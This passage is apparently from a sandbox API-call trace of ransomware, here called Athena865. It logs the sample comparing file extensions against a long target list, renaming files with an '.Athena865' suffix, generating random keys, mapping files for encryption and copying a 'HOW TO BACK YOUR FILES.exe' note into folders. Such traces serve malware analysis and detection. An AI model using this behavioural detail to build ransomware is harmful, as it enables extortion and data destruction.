lstrlenW (lpString="lgc") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.893] lstrlenW (lpString="lwx") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.893] lstrlenW (lpString="maf") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.893] lstrlenW (lpString="maq") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.893] lstrlenW (lpString="mar") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.893] lstrlenW (lpString="marshal") returned 7 [0053.893] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.893] lstrlenW (lpString="mas") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.893] lstrlenW (lpString="mav") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.893] lstrlenW (lpString="maw") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.893] lstrlenW (lpString="mdbhtml") returned 7 [0053.893] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.893] lstrlenW (lpString="mdn") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.893] lstrlenW (lpString="mdt") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.893] lstrlenW (lpString="mfd") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.893] lstrlenW (lpString="mpd") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.893] lstrlenW (lpString="mrg") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.893] lstrlenW (lpString="mud") returned 3 [0053.893] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.894] lstrlenW (lpString="mwb") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.894] lstrlenW (lpString="myd") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.894] lstrlenW (lpString="ndf") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.894] lstrlenW (lpString="nnt") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.894] lstrlenW (lpString="nrmlib") returned 6 [0053.894] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.894] lstrlenW (lpString="ns2") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.894] lstrlenW (lpString="ns3") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.894] lstrlenW (lpString="ns4") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.894] lstrlenW (lpString="nsf") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.894] lstrlenW (lpString="nv") returned 2 [0053.894] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.894] lstrlenW (lpString="nv2") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.894] lstrlenW (lpString="nwdb") returned 4 [0053.894] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.894] lstrlenW (lpString="nyf") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.894] lstrlenW (lpString="odb") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.894] lstrlenW (lpString="odb") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.894] lstrlenW (lpString="oqy") returned 3 [0053.894] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.894] lstrlenW (lpString="ora") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.895] lstrlenW (lpString="orx") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.895] lstrlenW (lpString="owc") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.895] lstrlenW (lpString="p96") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.895] lstrlenW (lpString="p97") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.895] lstrlenW (lpString="pan") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.895] lstrlenW (lpString="pdb") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.895] lstrlenW (lpString="pdm") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.895] lstrlenW (lpString="pnz") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.895] lstrlenW (lpString="qry") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.895] lstrlenW (lpString="qvd") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.895] lstrlenW (lpString="rbf") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.895] lstrlenW (lpString="rctd") returned 4 [0053.895] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.895] lstrlenW (lpString="rod") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.895] lstrlenW (lpString="rodx") returned 4 [0053.895] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.895] lstrlenW (lpString="rpd") returned 3 [0053.895] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.895] lstrlenW (lpString="rsd") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.896] lstrlenW (lpString="sas7bdat") returned 8 [0053.896] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0053.896] lstrlenW (lpString="sbf") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.896] lstrlenW (lpString="scx") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.896] lstrlenW (lpString="sdb") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.896] lstrlenW (lpString="sdc") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.896] lstrlenW (lpString="sdf") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.896] lstrlenW (lpString="sis") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.896] lstrlenW (lpString="spq") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.896] lstrlenW (lpString="te") returned 2 [0053.896] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.896] lstrlenW (lpString="teacher") returned 7 [0053.896] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.896] lstrlenW (lpString="tmd") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.896] lstrlenW (lpString="tps") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.896] lstrlenW (lpString="trc") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.896] lstrlenW (lpString="trc") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.896] lstrlenW (lpString="trm") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.896] lstrlenW (lpString="udb") returned 3 [0053.896] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.897] lstrlenW (lpString="udl") returned 3 [0053.897] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.897] lstrlenW (lpString="usr") returned 3 [0053.897] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.897] lstrlenW (lpString="v12") returned 3 [0053.897] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.897] lstrlenW (lpString="vis") returned 3 [0053.897] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.897] lstrlenW (lpString="vpd") returned 3 [0053.897] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.897] lstrlenW (lpString="vvv") returned 3 [0053.897] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.897] lstrlenW (lpString="wdb") returned 3 [0053.897] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.897] lstrlenW (lpString="wmdb") returned 4 [0053.897] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.897] lstrlenW (lpString="wrk") returned 3 [0053.897] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.897] lstrlenW (lpString="xdb") returned 3 [0053.897] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.897] lstrlenW (lpString="xld") returned 3 [0053.897] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.897] lstrlenW (lpString="xmlff") returned 5 [0053.897] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.897] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Recent\\desktop.ini.Athena865") returned 62 [0053.897] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Recent\\desktop.ini" (normalized: "c:\\documents and settings\\default\\recent\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Recent\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\recent\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.898] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Recent\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\recent\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.898] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0053.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519a20 [0053.899] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519aa8) returned 1 [0053.899] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.899] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0053.899] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x17c [0053.905] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0053.906] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519aa8) returned 1 [0053.907] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.907] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0053.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0053.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0053.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.908] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.908] CloseHandle (hObject=0x17c) returned 1 [0053.908] CloseHandle (hObject=0x154) returned 1 [0053.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0053.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.908] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.908] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.908] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0053.908] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.908] ReleaseMutex (hMutex=0xec) returned 1 [0053.908] CloseHandle (hObject=0xec) returned 1 [0053.908] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Saved Games" | out: lpString1="C:\\Documents and Settings\\Default\\Saved Games") returned="C:\\Documents and Settings\\Default\\Saved Games" [0053.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b398 | out: hHeap=0x4f0000) returned 1 [0053.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc60 | out: hHeap=0x4f0000) returned 1 [0053.908] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Saved Games") returned 45 [0053.908] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0498010227E40FB737A2B2BA14666DC2") returned 0xec [0053.909] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.909] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Saved Games" | out: lpString1="C:\\Documents and Settings\\Default\\Saved Games") returned="C:\\Documents and Settings\\Default\\Saved Games" [0053.909] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.909] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.909] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\saved games\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.909] GetLastError () returned 0x0 [0053.909] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.909] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.910] CloseHandle (hObject=0xf4) returned 1 [0053.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.910] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.910] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Saved Games\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.910] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.910] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.911] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.911] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.911] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.911] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.911] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.911] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.911] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.911] lstrlenW (lpString="desktop.ini") returned 11 [0053.911] lstrcpyW (in: lpString1=0x241e8a4, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.911] lstrlenW (lpString="desktop.ini") returned 11 [0053.911] lstrlenW (lpString="Athena865") returned 9 [0053.911] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.911] lstrlenW (lpString=".dll") returned 4 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.911] lstrlenW (lpString=".lnk") returned 4 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.911] lstrlenW (lpString=".ini") returned 4 [0053.911] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.912] lstrlenW (lpString=".sys") returned 4 [0053.912] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.912] lstrlenW (lpString="desktop.ini") returned 11 [0053.912] lstrlenW (lpString="bak") returned 3 [0053.912] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.912] lstrlenW (lpString="ba_") returned 3 [0053.912] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.912] lstrlenW (lpString="dbb") returned 3 [0053.912] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.912] lstrlenW (lpString="vmdk") returned 4 [0053.912] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.912] lstrlenW (lpString="rar") returned 3 [0053.912] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.912] lstrlenW (lpString="zip") returned 3 [0053.912] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.912] lstrlenW (lpString="tgz") returned 3 [0053.912] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.912] lstrlenW (lpString="vbox") returned 4 [0053.912] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.912] lstrlenW (lpString="vdi") returned 3 [0053.912] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.912] lstrlenW (lpString="vhd") returned 3 [0053.912] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.912] lstrlenW (lpString="vhdx") returned 4 [0053.912] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.912] lstrlenW (lpString="avhd") returned 4 [0053.912] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.912] lstrlenW (lpString="db") returned 2 [0053.912] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.912] lstrlenW (lpString="db2") returned 3 [0053.912] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.912] lstrlenW (lpString="db3") returned 3 [0053.912] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.913] lstrlenW (lpString="dbf") returned 3 [0053.913] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.913] lstrlenW (lpString="mdf") returned 3 [0053.913] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.913] lstrlenW (lpString="mdb") returned 3 [0053.913] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.913] lstrlenW (lpString="sql") returned 3 [0053.913] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.913] lstrlenW (lpString="sqlite") returned 6 [0053.913] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.913] lstrlenW (lpString="sqlite3") returned 7 [0053.913] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.913] lstrlenW (lpString="sqlitedb") returned 8 [0053.913] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.913] lstrlenW (lpString="xml") returned 3 [0053.913] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.913] lstrlenW (lpString="$er") returned 3 [0053.913] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.913] lstrlenW (lpString="4dd") returned 3 [0053.913] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.913] lstrlenW (lpString="4dl") returned 3 [0053.913] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.913] lstrlenW (lpString="^^^") returned 3 [0053.913] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.913] lstrlenW (lpString="abs") returned 3 [0053.913] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.913] lstrlenW (lpString="abx") returned 3 [0053.913] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.913] lstrlenW (lpString="accdb") returned 5 [0053.913] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.913] lstrlenW (lpString="accdc") returned 5 [0053.913] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.913] lstrlenW (lpString="accde") returned 5 [0053.914] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.914] lstrlenW (lpString="accdr") returned 5 [0053.914] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.914] lstrlenW (lpString="accdt") returned 5 [0053.914] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.914] lstrlenW (lpString="accdw") returned 5 [0053.914] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.914] lstrlenW (lpString="accft") returned 5 [0053.914] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.914] lstrlenW (lpString="adb") returned 3 [0053.914] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.914] lstrlenW (lpString="adb") returned 3 [0053.914] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.914] lstrlenW (lpString="ade") returned 3 [0053.914] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.914] lstrlenW (lpString="adf") returned 3 [0053.914] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.914] lstrlenW (lpString="adn") returned 3 [0053.914] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.914] lstrlenW (lpString="adp") returned 3 [0053.914] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.914] lstrlenW (lpString="alf") returned 3 [0053.914] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.914] lstrlenW (lpString="ask") returned 3 [0053.914] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.914] lstrlenW (lpString="btr") returned 3 [0053.914] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.914] lstrlenW (lpString="cat") returned 3 [0053.914] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.914] lstrlenW (lpString="cdb") returned 3 [0053.914] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.914] lstrlenW (lpString="ckp") returned 3 [0053.914] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.915] lstrlenW (lpString="cma") returned 3 [0053.915] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.915] lstrlenW (lpString="cpd") returned 3 [0053.915] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.915] lstrlenW (lpString="dacpac") returned 6 [0053.915] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.915] lstrlenW (lpString="dad") returned 3 [0053.915] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.915] lstrlenW (lpString="dadiagrams") returned 10 [0053.915] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.915] lstrlenW 